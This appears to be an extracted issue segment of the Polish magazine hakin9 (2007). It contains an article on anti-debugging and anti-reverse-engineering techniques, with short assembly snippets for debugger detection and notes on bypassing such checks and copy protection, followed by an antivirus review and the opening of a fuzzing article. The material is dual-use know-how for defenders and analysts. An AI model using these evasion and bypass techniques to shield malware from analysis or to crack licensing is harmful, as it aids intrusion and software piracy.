•   Proces gmatwania kodu (ang. code obfusca-

tion)  –  przekształcanie  fragmentu  kodu  do 
mniej  czytelnej  postaci.  Rysunek  1.  przed-
stawia ten proces na przykładzie: widoczny 
nań kod napisany został w języku Javascript, 
a następnie zagmatwany.

•   Proces transformacji kodu – kod może być 

przekształcony tak, by sprawiał dla człowie-

ka  wrażenie  znacznie  bardziej  złożonego; 
nie jest on jednak wcale skomplikowany dla 
automatycznego  debuggera,  np.  IDA  Pro 
nie  miałby  żadnych  problemów  z  ominię-
ciem  skutków  takiego  działania.  Dla  przy-
kładu, złośliwy kod JS często wykorzystu-
je w tym celu składanie łańcucha znaków z 
innych łańcuchów, z wykorzystaniem funk-
cji substring. 

Techniki zapobiegania – 

reverse engineering

Michał Bućko

stopień trudności

Specjaliści od inżynierii wstecznej (ang. reverse engineering, RE) 

ciężko pracują nad złamaniem twoich aplikacji i można stwierdzić 

z dużym prawdopodobieństwem, że praktycznie zawsze im się to 

uda; możemy jednak utrudnić im pracę, czyniąc naszą aplikację 

trudniejszą do zanalizowania.

Z artykułu dowiesz się

•   o najpopularniejszych technikach wymierzonych 

przeciwko  debugowaniu  i  inżynierii  wstecznej, 
stosowanych przez twórców malware'u,

•   o  środkach  bezpieczeństwa  mających  na  ce-

lu  zwiększenie  bezpieczeństwa  tworzonego 
oprogramowania.

Co powinieneś wiedzieć

•   znajomość struktury plików PE, asemblera oraz 

podstawowych technik analizy binariów,

•   zalecana  jest  także  znajomość  najpowszech-

niejszych  technik  wymierzonych  przeciwko 
debuggerom.

background image

Reverse engineering

hakin9 Nr 7/2007

www.hakin9.org

55

•   Nieprzejrzyste  predykaty  –  frag-

menty dodatkowego kodu, nie ro-
biące nic istotnego, ale sprawiają-
ce wrażenie ważnych części apli-
kacji.  Przeciwieństwo  predykatów 
przejrzystych tj. fragmentów kodu 
sprawiających  wrażenie  bezuży-
tecznych  i  nieważnych.  Nieprzej-
rzyste  predykaty  często  doda-
ją  bezużyteczne  klucze  do  Reje-
stru bądź tworzą niepotrzebne pli-
ki. Termin ten jest ściśle powiąza-
ny ze wstawianiem zbędnego kodu 
pomiędzy  rzeczywiste  instrukcje. 
Istnieje kilka interesujących gene-
ratorów takiego kodu, tworzących 
instrukcje, które można potem po 
prostu dodać do swojej aplikacji.

•   Szyfrowanie  i  deszyfrowanie  ko-

du  w  trakcie  działania.  Aplikacja 
może  się  szyfrować  bądź  deszy-
frować. Jednakże, nie cała aplika-
cja może być jednorazowo odszy-
frowana, klucz deszyfrujący powi-
nien być wyliczany podczas dzia-
łania  programu  oraz  powinno  się 
stosować długie klucze (z krypto-
graficznego punktu widzenia krótki 
klucz nie zapewnia odpowiedniego 
poziomu bezpieczeństwa).

Kilka interesujących 

sztuczek

Możemy  zmodyfikować  też  nagłó-
wek  PE,  ustawiając  w  nim  dziwne 

ImageBase  (Windows  tworzy  dla 
każdej uruchamianej aplikacji osobną 
przestrzeń adresową, a następnie od-
czytuje wartość ImageBase i wgrywa 
pod ten adres uruchamiany program)

LoaderFlags  (przestarzałe)  i  Numbe-

rOfRvaAndSizes (Jest to liczba wejść 
do tablicy DataDirectory; ostatnie pole 
w nagłówku IMAGE_OPTIONAL_HE-

ADER  to  DataDirectory,  które  jest 
tablicą  16  (NumberOfRvaAndSizes
elementów; każdy element, to struktu-
ra nazywana IMAGE_DATA_DIREC-

TORY,  przy  czym  każdy  z  nich  pełni 
różne  funkcje).  Zmiana  ImageBase 
nie  daje  ochrony,  jedynie  dezorien-
tuje  napastnika.  Zmiana  pozostałych 
dwóch wartości może spowodować, iż 
niektóre debuggery potraktują taki plik 
aplikacji  jako  uszkodzony,  w  efekcie 
czego aplikacja uruchomiona zostanie 
bez  zatrzymania  w  punkcie  wejścia 
–  co  w  przypadku  malware'u  jest 
niedopuszczalne, jako że może dopro-
wadzić  do  zarażenia.  Możemy  także 
dokonać pewnych modyfikacji w sekcji 
aplikacji  (SizeOfRawData);  w  wyniku 
tego IDA zaalokuje zbyt dużo pamięci, 
co może spowolnić analizę. Ponadto, 
w ramach ochrony przed deasembla-
cją  zastosować  można  generatory 
warstwy szyfrowania. Istniejące obec-
nie  generatory  tego  rodzaju  są  dość 
złożone  i  dają  swoim  użytkownikom 
możliwość korzystania z wielu intere-

sujących  opcji,  na  przykład:  detekcji 
pomiarem  czasu,  dodawania  niepo-
trzebnego kodu, ustawiania losowych 
wartości  rejestrów,  szyfrowania  za 
pomocą  różnych  algorytmów  i  wielu 
innych.  Aplikacja  powinna  być  także 
zabezpieczona przed zastosowaniem 
BPX; można na przykład sięgnąć do 
funkcji  API  za  pomocą  GetProcAd-

dress,  a  następnie  sprawdzić  opkod 
INT  3,  względnie  odczytać  IAT  i  wy-
szukać punkty przerwań. 

Dostęp do struktury kontekstu apli-

kacji i rejestrów debugowania pozwala 
usuwać punkty przerwań ustawione na 
poziomie sprzętu (przeczytaj o BPM!). 
Warto  również  wspomnieć  o  opartej 
na  RDTSC  sygnaturze  czasu  –  wiele 
Ring3 wykryć można, stosując detekcję 
pomiarem czasu, a więc kod zliczający 
różnicę  czasu  między  dwoma  wywo-
łaniami instrukcji RDTSC. W szczegó-
łach działa to tak, jak w Tabeli 1.

Wykrywanie OllyDBG

Ze względu na zamierzoną niewielką 
objętość niniejszego artykułu, zdecy-
dowanie nie zamierzamy szczegóło-
wo omawiać całego zakresu technik 
pozwalających na wykrycie OllyDBG 
–  zajmiemy  się  tylko  ogólnym  ich 
przeglądem.  Niektóre  z  popularniej-
szych  tutaj  metod  to  wykrywanie 
przerwania  INT3,  Olly  przez  IsDe-

buggerPresent,  Olly  na  podstawie 

NtQueryInformationProcess,  wtyczki 

OllyInvisible oraz kluczy Rejestru Olly. 
Detekcja przerwania INT3 opiera się 
na nieprawidłowej obsłudze instrukcji 
INT3  przez  debugger,  IsDebugger-

Present  wykorzystuje  wpinanie  się 
w API, zaś metoda NtQueryInforma-

tionProcess wykorzystuje noszące jej 
nazwę  API.  OllyInvisible  to  wtyczka 
dla OllyDBG – można ją wykryć wpi-
nając się w CsrGetProcessId.

Rysunek 1. 

Gmatwanie w praktyce

Tabela 1. 

RDTSC w akcji!

RDTSC

RDTSC po raz pierwszy

XOR ECX,ECX

zerujemy ECX

ADD ECX,EAX

umieszczamy EAX w ECX

RDTSC

RDTSC po raz drugi

SUB EAX,ECX

wyznaczamy różnicę czasu

CMP EAX,OFFFh

właściwe porównanie

JBN @Detected

skok!

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

56

Detekcja SoftICE

W  niniejszym  artykule  wspomnimy 
tylko o trzech technikach wykrywania 

SoftICE.  Pierwsza  z  nich  powiązana 
jest z detekcją sterowników – tworzo-
ny jest plik noszący nazwę sterownika 

SoftICE.  Druga  opiera  się  o  Rejestr 
– wyszukiwane są odpowiednie klucze 

(SOFTWARE\Numega\DriverStudio)
Trzecia  bazuje  na  tworzeniu  pliku 

\system32\ drivers\WINICE.dat. 
W  pierwszym  i  trzecim  przykładzie 
detekcji SoftICE staramy się utworzyć 
pliki, do których utworzenia nie mamy 
uprawnień.  Sama  procedura  opiera 
się  na  analizie  wartości  zwracanej 
przez CreateFileA - EAX ustawiony na 
zero wskazuje na działanie SoftICE.

Istnieje  wiele  sposobów  na  wy-

krywanie debuggerów, jednak każdy 
z nich może zostać oszukany. Są do-
stępne specjalne aplikacje i wtyczki 
dla debuggerów, które pozwalają na 
ukrycie ich obecności.

Kilka uwag o ochronie, 

pakowaniu i życiu

Nasze  oprogramowanie  zdecydowa-
nie powinno być chronione. Nie istnie-
je ochrona doskonała, zawsze należy 
jednak podejmować pewne kroki. Sto-
suje się pakery i programy ochronne, 
jednak  w  wielu  przypadkach  można 
bardzo prosto rozpakować spakowany 
kod.  Popularne  pakery  można  dość 
łatwo wykryć. Co jednak można jesz-
cze  zrobić?  Można  składować  różne 
numery seryjne w różnych miejscach 
– często znaleźć je można w najmniej 
spodziewanych  miejscach.  Numery 
seryjne  są  też  często  generowane 
w  czasie  działania  programu.  Nigdy 
nie  powinniśmy  ostrzegać  użytkow-
nika  o  naruszeniu  licencji,  jeżeli  ma 
to miejsce po raz pierwszy, first time 

– powinien on otrzymać odpowiednią 
informację  dopiero  po  wielokrotnym 
powtórzeniu  naruszenia.  Nie  należy 
nigdy nazywać funkcji np. IsSerialOk
nazwy  tego  rodzaju  funkcji  powinny 
być  zagmatwane,  zmianie  powinna 
ulec też sama logika – kod niezbędny 
dla  tego  rodzaju  weryfikacji  powinien 
być  umieszczony  w  takiej  funkcji,  by 
jej  wyłączenie  spowodowało  niepo-
prawne  działanie  aplikacji.  Najlepiej 
w ogóle nie stosować dedykowanych 
funkcji  weryfikacyjnych  i  przeprowa-
dzać  ten  proces  wewnątrz  procesu 
głównego.  Zawsze  należy  odczekać 
kilka sekund po wprowadzeniu hasła. 
Każde istotne menu bądź okno dialo-
gowe  powinno  być  budowane  dyna-
micznie. Numer seryjny powinien być 
długi i być produktem długiego ciągu 
transformacji arytmetycznych. Ważne 
jest  także  zniekształcanie  danych, 
jako że zwiększa ono czasochłonność 
wstecznej inżynierii aplikacji.

Należy  sprawdzać  sumy  kontro-

lne  aplikacji,  można  także  zaimple-
mentować  inne  testy  pozwalające 
na  sprawdzenie,  czy  aplikacja  nie 
została zmodyfikowana. Można tak-

że  wykorzystywać  w  aplikacji  ciągi 
instrukcji  NOP,  by  sprawiała  ona 
wrażenie  zawierającej  samomody-
fikujący  się  kod.  Stosuj  zbędne  in-
strukcje, by kod aplikacji wyglądał na 
bardziej złożony niż w rzeczywistości 
jest. Kod powinien być podzielony na 
fragmenty,  powiązane  ze  sobą  wa-
runkowymi  skokami.  Należy  unikać 
ekranów  w  rodzaju  Twoja  licencja 

próbna  wygasła,  względnie  –  jeżeli 
naprawdę  są  nam  one  potrzebne 
– należy je generować dynamicznie, 
w  czasie  działania  programu.  OK, 
ten  akapit  wcale  nie  mówił  o  życiu 
– ale w tej formie jego tytuł wyglądał 
bardziej interesująco, nieprawdaż?

Rysunek 2. 

Nie znaleziono debuggera

Rysunek 4. 

Nie używaj tego

Rysunek 3. 

Praca z Olly

Listing 1. 

RDTSC w akcji

loc_40129C: ; "kernel32.dll"
push offset LibFileName
call ds:LoadLibraryA
push offset ProcName ;
      "IsDebuggerPresent"
push eax ; hModule
call ds:GetProcAddress
call eax
test eax, eax
jz short loc_4012BD

background image

Reverse engineering

hakin9 Nr 7/2007

www.hakin9.org

57

Ochrona przed debuggerami, śle-

dzeniem,  zrzutami,  łataniem  w  locie 
i  sprzętowymi  punktami  przerwań, 
sprawdzanie muteksów i sum kontrol-
nych, ochrona OEP, fałszywe nagłów-
ki, zbędny kod, detekcja debuggerów, 
ochrona przed zmianą nazwy plików, 
uszkodzony  nagłówek  PE,  przekie-
rowanie  importu  API  -  wszystkie  te 
techniki są wysoce przydatne, jednak 
nawet razem wzięte nie są w stanie 
zabezpieczyć aplikacji w 100%; warto 
zdawać sobie z tego sprawę. Również 
niektóre sztuczki SEH, zastępowanie 
oryginalnego  kodu  metamorficznymi 
śmieciami, unikanie stosowania Get-

ProcAddress,  korzystanie  z  własnej 
tabeli  TLS  czy  uszkodzona  tabela 
importów zawsze mogą pozwolić na 
zwiększenie  poziomu  bezpieczeń-
stwa  aplikacji,  ale  nigdy  nie  uczynią 
jej całkowicie odporną na ataki.

Po drugiej 

stronie barykady

Teraz  spróbujemy  dla  odmiany  za-
atakować  aplikację.  Przedstawimy  tu 
elegancki  przykład  prostego  ataku. 
Załóżmy,  że  musimy  doskonale  zro-
zumieć, jak zbudowana jest aplikacja. 
Na  początku  sprawdzamy,  czy  jest 
ona spakowana jednym z popularnych 
pakerów; można to uczynić za pomo-
cą  PEiD.  Jeżeli  mamy  do  czynienia 
z  bardzo  zaawansowanym  malware-
'em (póki co jest to raczej rzadkość), 
trzeba rozpakować taki program ręcz-
nie; w tym krótkim artykule nie zamie-
rzamy mówić o tym zbyt szeroko, jako 

że jest to temat na kilka osobnych pu-
blikacji – na końcu artykułu znajdziesz 
wprowadzenie do rozpakowywania.

Po  rozpakowaniu  pliku  binarnego 

przychodzi pora na uruchomienie de-
buggera i tu właśnie natkniemy się na 
pierwsze problemy. Zamierzamy pora-
dzić sobie jednak z tymi trudnościami! 
Zauważamy,  że  aplikacja  wyszukuje 

NtiCe i IceExt, korzysta także z INT 1 
i INT 3; również i ustawienie sprzęto-
wego punktu przerwania nie będzie tu 
takie proste, program stosuje bowiem 
techniki  anty-bpm.  Powinniśmy  być 
w  stanie  poradzić  sobie  z  zabezpie-
czeniami  przed  debugowaniem  za 
pomocą  typowych  technik,  z  drugiej 
strony jednak w wielu przypadkach nie 
jest zbyt trudnym zadaniem załatanie 

SoftICE  czy  IceExt  tak,  by  działały 
one  poprawnie;  nie  ma  powodu  do 
obaw.  Z  kolei  niektóre  techniki  anty-
bpm  pozwoli  nam  przełamać  yates 
(anty-anty-bmp).  Zauważamy  kolejną 
interesującą  cechę  programu:  miała 
ona być w założeniu bardzo bezpiecz-
na,  jednak  ani  INT1  ani  INT3  nie  są 
obsługiwane  w  pierścieniu  0,  przez 
sterownik  –  obydwoma  zajmują  się 
filtry obsługi wyjątków, bez modyfikacji 
IDT. OK. Do sprawdzenia, czy do pro-
cesu podłączony jest debugger często 
wykorzystuje  się  IsDebuggerPresent. 
Otwieramy listę funkcji IDA, aby spraw-
dzić, czy były do niej jakieś odniesienia 
bądź, czy nastąpiły importy. Nie zna-
leźliśmy niczego ciekawego, za to dalej 
widzimy to, co na Listingu 1.

Tak, w tym przypadku dla uroz-

maicenia nam śledztwa zastosowa-
no GetProcAddress, by po ręcznym 
załadowaniu biblioteki odnaleźć od-
niesienie  do  IsDebuggerPresent  i 
wywołać tę funkcję.

Automatyzacja

OK,  zdecydowaliśmy  się  korzystać  z 

OllyDBG,  jednak  wiele  naszych  dzia-
łań  będzie  się  powtarzać  i  z  tego 
względu warto zaznajomić się z kilko-
ma  (co  mniej  popularnymi)  skryptami 
Olly. Skrypty Olly znacznie podnoszą 
wydajność naszej pracy. !EPack OEP 

finder,  ACProtect  OEP  Finder  +  IAT 

Repair, SDProtector 1.12 Fix IAT, UPX 

OEP  finder  prawdopodobnie  nie  wy-
magają  dalszych  wyjaśnień.  Dostęp-

nych  jest  wiele  depakerów,  a  w  wie-
lu  przypadkach  malware  korzysta  ze 
znanych narzędzi tego rodzaju zamiast 
własnych. Możemy także wykorzystać 
wizualizację  graficzną,  udostępnianą 
przez  IDA  Pro  czy  BinNavy;  jest  ona 
bardzo  pomocna,  albowiem  ułatwia 
ona  wyjaśnienie  zależności  oraz  se-
kwencji  wykonywania.  Daje  nam  też 
ogląd struktury aplikacji. Możemy tak-
że stosować rozmaite skrypty pomoc-
ne  przy  wyszukiwaniu  luk  w  progra-
mach – jednym z najpopularniejszych 
jest Halvar’s Bugscam. Z drugiej stro-
ny, przy pracy nad lukami nie można 
polegać na dostępnych skryptach: ba-
danie luk powinno być przeprowadza-
ne ostrożnie i bardzo precyzyjnie.

Podsumowanie

Na  końcu  niniejszego  artykułu  przyj-
rzymy się czubkowi góry lodowej, ja-
ką  jest  zbliżony  problem  –  zabez-
pieczenie  przed  kopiowaniem.  Pro-
blemy  tego  rodzaju  dotyczą  najczę-
ściej  osób  znających  jednocześnie 
nowy,  lecz  popularny  język  bajana-

rish (od język binarny). W tym krótkim 
akapicie  wspomnimy  jedynie  o  naj-
bardziej  rozpowszechnionych  tech-
nikach  zabezpieczania  przed  kopio-
waniem.  Co  najpierw?  Jak  zwykle, 
w  pierwszej  kolejności  musimy  sobie 
poradzić  ze  sprawdzaniem  debugge-
rami,  są  one  jednak  (praktycznie  za-
wsze) dość, a przynajmniej względnie, 
proste do oszukania. Radzimy sobie z 
ochroną importów i emulacją opkodów 
(JMP  EAX  przeskakuje  do  procedu-
ry emulującej przejęty opkod). Wciąż 
jest to jednak mało: w przypadku za-
bezpieczania przed kopiowaniem sto-
suje się również rozmaite techniki po-
zwalające  na  sprawdzenie,  czy  wło-
żono odpowiednią płytę CD i czy jest 
ona oryginalna. W wielu przypadkach 
tego  rodzaju  zabezpieczenia  również 
nie  są  trudne  do  obejścia,  wymaga-
jąc  jedynie  programowego  usunięcia 
CD i zmiany wartości zwracanej przez 
funkcję Czy na pewno masz prawo do 
korzystania  z  tego  programu?  –  ale 
proszę, nie stosuj do szukania dokład-
nej nazwy funkcji opcji Znajdź. Istnie-
je  wiele  technik  zapobiegania  kopio-
waniu,  jest  to  jednak  temat  na  osob-
ną książkę. l

O autorze

Michał  Bucko  jest  niezależnym  bada-
czem  problematyki  bezpieczeństwa 
informatycznego.  Pracuje  jako  audy-
tor bezpieczeństwa internetowych ban-
ków,  przeprowadza  różnego  rodzaju 
audyty bezpieczeństwa dla instytucji fi-
nansowych i firm z branży e-commer-
ce, współpracuje z agencjami detekty-
wistycznymi; pracuje jako tester pene-
tracyjny  i  konsultant  ds.  oceny  zagro-
żeń.  Obecnie,  jako  główny  specjalista 
ds. bezpieczeństwa, pomaga stworzyć 
w Polsce laboratorium bezpieczeństwa 
HACKPL.
Kontakt do autora: sapheal@hack.pl 

background image

58

Narzędzia

hakin9 Nr 7/2007

www.hakin9.org

NOD32 to nowoczesny program antywirusowy współpra-
cujący z różnymi systemami operacyjnymi. Skaner anty-
wirusowy  monitorujący  wszystkie  połączenia  interneto-
we i rezydentny moduł skanujący pamięć operacyjną sku-
tecznie eliminują trojany, backdoory, robaki internetowe i 
klasyczne  wirusy.  Zaawansowana  analiza  heurystyczna 
pomaga wykrywać wirusy nowe i jeszcze niesklasyfikowa-
ne przez światowe laboratoria.
Większość  użytkowników  komputerów  ogarnia  złość  na 
samą  myśl  o  konieczności  zainstalowania  oprogramo-
wania  antywirusowego.  Spowolnienie  pracy  kompute-
ra,  zajmowanie  miejsca  na  dysku,  szybka  dezaktualiza-
cja, wysoka cena – to tylko część irytujących cech popu-
larnych  antywirusów.  Stąd  często  decydujemy  się  na 
brak  jakiegokolwiek  antywirusa,  ryzykując  nawet  utratę 
danych  czy  zagrożenie  naszej  prywatności.  Na  szczę-
ście, jakiś czas temu pojawił się na rynku produkt firmy 
Eset – system antywirusowy NOD32. Jest on zaprzecze-
niem naszego wyobrażenia o typowym programie anty-
wirusowym.

NOD32  to  nowoczesny  program,  przeznaczony  do 

ochrony  komputerów  szczególnie  narażonych  na  ataki 
wirusów,  czyli  tych,  na  których  intensywnie  korzysta 
się z internetu i poczty elektronicznej. Zabezpieczenie 
przed  zagrożeniami  ze  strony  wirusów  rozprzestrze-
niających  się  za  pośrednictwem  poczty  elektronicznej 
gwarantują dwa moduły skanujące pocztę – IMON, czyli 
Monitor Internetowy oraz EMON – Skaner Poczty Micro-
soft Outlook. Poza tym NOD32 chroni nasz komputer m. 
in.  przed  robakami  komputerowymi,  trojanami,  spywa-
re'em,  adware'em  i  phishingiem.  Dzięki  częstym  aktu-
alizacjom  bazy  danych  wirusów  –  aktualizacja  nastę-
puje  co  godzinę  i  faktycznie  jest  ,  jak  obiecuje  produ-
cent, błyskawiczna i „cicha” – program zapewnia mak-
simum  bezpieczeństwa.  Jednak  największą  i  najbar-
dziej  docenianą  przez  użytkowników  zaletą  jest  mini-
malne  obciążenie  systemu.  W  warunkach  domowych, 
w  jakich  był  testowany,  NOD32  sprawuje  się  napraw-
dę znakomicie i, co najważniejsze, nie spowalnia pracy 
komputera! Testy programów antywirusowych wykazu-
ją, że jest on od dwóch do pięciu razy szybszy niż kon-
kurencja.  Kolejnym  plusem  są  minimalne  wymagania 
sprzętowe (wystarczy procesor 300MHz, jedynie 20MB 

wolnej przestrzeni na dysku, 32MB RAM i karta graficz-
na  VGA)  i  systemowe  (działa  na  systemach  Windows 
98,  Windows  ME,  Windows  NT,  Windows  2000,  Win-
dows  XP,  Windows  2003,  Windows  XP  Pro  x64,  Win-
dows 2003 Server x64, FreeBSD, OpenBSD, NetBSD, 
Linux,  Novell,  MS  Exchange,  MS  DOS).  Pozytywnym 
zaskoczeniem była dla mnie niezwykle dyskretna praca 
programu – po instalacji (z płyty CD lub bezpośrednio z 
internetu  –  bezpłatna  30-dniowa  wersja  testowa)  wła-
ściwie  możemy  zapomnieć  o  naszym  antywirusie.  Nie 
musimy  klikać  na  żadne  wyskakujące  ikonki,  specjal-
nie  skanować  komputera  (system  antywirusowy  wyła-
puje wszelkie nieprawidłowości na bieżąco) ani zaprzą-
tać sobie głowy aktualizacjami (następują automatycz-

NOD32 – przyjazny 

antywirus

Producent: ESET
Model: NOD32
Typ: Program antywirusowy
Przeznaczenie: Użytkownicy indywidualni i nie tylko
Strona producenta: www.eset.com
Cena: Od 154,94 PLN

Rysunek 1. 

NOD 32 antivirus system

background image

NOD32

nie).  Sama  instalacja  programu  nie  powinna  sprawić 
nam  trudności.  Dostępne  są  trzy  typy  instalacji:  stan-
dardowa, zaawansowana i w trybie ekspert. Dzięki temu 
użytkownik może wybrać najbardziej odpowiadającą mu 
opcję. Niezdecydowanym polecam przetestowanie bez-
płatnej 30-dniowej internetowej wersji programu, gdzie 
nie  ma  nawet  potrzeby  rejestracji.  NOD32  swoją  nie-
zwykłą skuteczność zawdzięcza regularnym aktualiza-
cjom.  Najwygodniejszym  wariantem  jest  aktualizacja 
systemu  w  trybie  on-line  za  pośrednictwem  internetu, 
z jednego z serwerów aktualizacyjnych. Ciekawym roz-
wiązaniem jest zastosowanie tzw. dziennika zdarzeń, w 

Rysunek 2. 

Zrzut okna programu

którym zapisywane są wszystkie informacje o błędach 
aktualizacji.

Czynnością  typową  dla  antywirusów  jest  skanowa-

nie zasobów komputera w celu sprawdzenia, czy któryś z 
plików nie zawiera wirusa. NOD32 posiada funkcję skano-
wania na żądanie, którą możemy uruchomić z konsoli syste-
mu. Wówczas system sprawdza pamięć operacyjną nasze-
go komputera, a wyniki skanowania umieszcza w dzienniku 
zdarzeń,  oznaczając  ewentualne  zainfekowane  pliki  kolo-
rem czerwonym. W takiej sytuacji wybieramy opcję Wylecz 
i powtarzamy skanowanie.

Ogólnie  rzecz  biorąc  konsola  systemu  w  przejrzysty 

sposób umożliwia dostęp do wszystkich narzędzi i ustawień 
modułów. Zatem kolejnym atutem tego antywirusa jest intu-
icyjny interfejs. Jestem przekonana, że część użytkowników 
ucieszy także polska wersja językowa programu.

NOD32 otrzymał liczne nagrody – jest bezkonkuren-

cyjny w kategorii: najszybszy na rynku program antywi-
rusowy – w tym rekordową ilość nagród magazynu Virus 

Bulletin. Przetestowanie tego programu pozwala mi arbi-
tralnie  stwierdzić,  że  były  to  nagrody  w  pełni  zasłużo-
ne.  Serdecznie  zachęcam  do  wypróbowania  możliwo-
ści  systemu  antywirusowego  NOD32,  a  zainteresowa-
nych  odsyłam  także  na  stronę  poświęconą  programo-
wi:  www.nod32.pl,  gdzie  pojawiają  się  wszelkie  aktual-
ne  informacje  dotyczące  systemu  oraz  innych  produk-
tów firmy Eset.

Marta Cierpikowska

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 7/2007

60

Początki

P

oszukiwanie  w  określonym  programie 
błędów  związanych  z  zabezpieczenia-
mi oznacza zazwyczaj szukanie pomy-

łek w jego kodzie źródłowym. Aktualnie istnie-
je  wiele  programów,  które  znacznie  ułatwia-
ją to zadanie. Jednak żaden z nich nie rozwią-
że trzech podstawowych problemów, występu-
jących przy posługiwaniu się takim sposobem 
demaskowania  nieprawidłowości:  ilość  cza-
su  potrzebna  do  przeanalizowania  kodu  jest 
ogromna; rezultaty tej analizy są jedynie teore-
tyczne; niezbędny jest kod źródłowy.

Technika  fuzzingu  została  stworzona  w 

latach  dziewięćdziesiątych  przez  grupę  lu-
dzi – pod przewodnictwem Bartona P. Millera 
– którzy zaczęli wprowadzać przypadkowe da-
ne do programów w środowiskach uniksowych. 
Nawet jeśli takie podejście wydaje się ekstre-
malnie proste i chociaż ich działania na począt-
ku nie spotkały się z większym zainteresowa-
niem  pozostałych  zaawansowanych  użytkow-
ników komputerów, byli oni w stanie doprowa-
dzić do zawieszania się jednej trzeciej progra-
mów, które testowali. Z czasem ta nowa tech-
nika  rozwinęła  się  w  trend,  który  wkrótce  zy-
skał rozgłos za sprawą firm zajmujących się za-
bezpieczeniami. Wkrótce stał się on interesują-

cy także dla hakerów. Z punktu widzenia ata-
kującego, fuzzing jest ekstremalnie skuteczną 
techniką. Nawet jeśli firma inwestuje dużo pie-
niędzy  w  tworzenie  własnych  fuzzerów  i  uży-
wa ich do wykrycia 99% błędów, dobrze napi-
sany i użyty przez hakera fuzzer nadal będzie 
w stanie znaleźć jeden z ostatnich możliwych 
do wykrycia błędów, mieszczących się w pozo-
stałym  procencie  (zakładając,  że  jest  wystar-

Fuzzing

Paul Sebastian Ziegler

stopień trudności

Niemal każdy program zawiera błędy. Możliwości ich wykrycia 

od dawna stanowią główną domenę dociekań i są w centrum 

zainteresowania deweloperów i hakerów. Niniejszy artykuł 

ma na celu dać czytelnikom teoretyczne podstawy oraz opis 

praktycznego użycia metody nazywanej fuzzingiem.

Z artykułu dowiesz się

•   czym jest fuzzing?
•   co sprawia, że fuzzing jest tak skuteczny?
•   początki fuzzingu,
•   jak napisać swój własny fuzzer?
•   jak praktycznie wykorzystać fuzzer?

Co powinieneś wiedzieć

•   poszerzona wiedza w zakresie sposobów prze-

prowadzania ataków,

•   podstawowe  doświadczenie  w  testowaniu 

oprogramowania,

•   podstawowa znajomość asemblera,
•   podstawowa znajomość Pythona.

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

61

czająco dużo czasu i dopisze szczę-
ście). A jak czytelnicy zapewne wie-
dzą,  nawet  jeden  błąd  wystarczyć 
może do pomyślnego zaatakowania 
programu.

Mimo  że  fuzzing  był  początko-

wo  techniką  stosowaną  lokalnie,  dzi-
siaj większość osób kojarzy go z apli-
kacjami  sieciowymi.  Dzieje  się  tak 
przede wszystkim dlatego, że fuzzing 
okazał się bardzo skuteczny w przy-
padku  iniekcji  SQL  (ang.  SQL  Injec-

tion)  i  błędów  XSS.  Co  więcej,  apli-
kacje  sieciowe  charakteryzuje  zwy-
kle przejrzysta struktura, z którą może 
pracować atakujący. Fuzzing nie jest 
jednak w żaden sposób ograniczony 
do sieci. Poza aplikacjami sieciowymi 
i  protokołami  używanymi  w  sieciach, 
programy uruchamiane lokalnie mogą 
być poddawane fuzzingowi za pomo-
cą konsoli lub otwieranych przez nie 
plików.  Fuzzingiem  można  posłużyć 
się nawet w odniesieniu do systemów 
plików. Montowane przez kernel, sta-
nowią one dobry cel, ponieważ ataku-
jący może przez pomyślny atak uzy-
skać najwyższe uprawnienia.

Teoria fuzzingu

Fuzzing jest techniką używaną głów-
nie do testów zewnętrznych oprogra-
mowania (ang. Blackbox testing) – a 

więc testów  bez  dodatkowych  infor-
macji,  takich  jak  kod  źródłowy  lub 
wiedza  o  konfiguracji.  Zamiast  ana-
lizy kodu źródłowego programu fuz-
zing koncentruje się na gotowej apli-
kacji. Większość błędów w oprogra-
mowaniu  konsumenckim  jest  odnaj-
dywana i zgłaszana przez użytkow-
ników.  Czasami  powodują  oni  za-
wieszanie  się  programów  w  trakcie 
ich używania. Powodem tego mogą 
być  nieprawidłowe  wpisy,  niestan-
dardowe  biblioteki,  niewłaściwe  pli-
ki i wiele innych drobniejszych przy-
czyn. Kiedy pojawiają się problemy, 
wielu  użytkowników  poszukując  po-
mocy konsultuje się z deweloperami. 
Niektórzy przesyłają nawet szczegó-
łowe raporty dotyczące błędów, jakie 
odkryli oni przy użytkowaniu interfej-
sów  zaprojektowanych  przez  dewe-
loperów. Jak zakłada teoria, informa-
cje uzyskane w ten sposób powinny 
być  później  wykorzystywane  przez 
deweloperów  i  posłużyć  do  popra-
wienia lub wyeliminowania błędów.

Wówczas  błędy,  które  popełnia-

ją użytkownicy, stają się cennym źró-
dłem informacji. Mają więc duże zna-
czenie  dla  podnoszenia  standardów 
jakości  oprogramowania.  Podstawo-
wą  ideą  fuzzingu  jest  podjęcie  i  roz-
szerzenie  koncepcji  nieprawidłowych 

wpisów.  Zamiast  zezwolić  różnym 
użytkownikom na popełnianie błędów 
–  które  mogą  oni  niekiedy  zgłaszać 
deweloperom  –  przez  nieokreślony 
okres czasu gotowy program jest naj-
pierw  zalewany  ogromną  ilością  na 
wpół  poprawnych  wpisów.  W  przy-
padku crashu lub zawieszenia można 
mieć pewność, że znalazło się jakiś ro-
dzaj błędu. Ponieważ przy takim usta-
wieniu osoba przeprowadzająca testy 
ma kontrolę nad procesem, może ona 
szczegółowo zbadać dany błąd i okre-
ślić, czy może mieć on konsekwencje 
dla bezpieczeństwa aplikacji.

Początkowo  posługując  się  fuz-

zingiem  do  testowania  programów 
wykorzystywano  całkowicie  przy-
padkowe  dane.  Mimo  że  tego  typu 
działania nadal znajduje swoje zasto-
sowanie, stało się powszechnie wia-
dome, że rezultaty mogą zostać zna-
cząco poprawione poprzez użycie na 
wpół  poprawnych  danych  (ang.  se-

mi valid data). Tylko niewielka część 
współczesnych programów akceptu-
je wszystkie dane, jakie mogą zostać 
do nich przekazane. Wszystkie inne 
aplikacje  filtrują  wpisy,  aby  zagwa-
rantować  to,  że  ewidentnie  niepo-
prawne  dane  nie  będą  przetwarza-
ne.  Dlatego  też  przypadkowe  dane 
używane przy fuzzingu będą musia-
ły  zostać  osadzone  wewnątrz  wzor-
ca, który doprowadzi do ich przyjęcia 
przez  program.  Na  wpół  poprawne 
dane  muszą  być  na  tyle  poprawne, 
aby program je zaakceptował, a jed-
nocześnie wystarczająco niepopraw-
ne, aby mogły spowodować jego po-
tencjalny crash.

Pierwszym  problemem,  który 

związany  jest  z  nowoczesnym  fuz-
zingiem  jest  kwestia  generowania 
na wpół poprawnych danych. Ponie-
waż ma on przejrzystą strukturę, od 
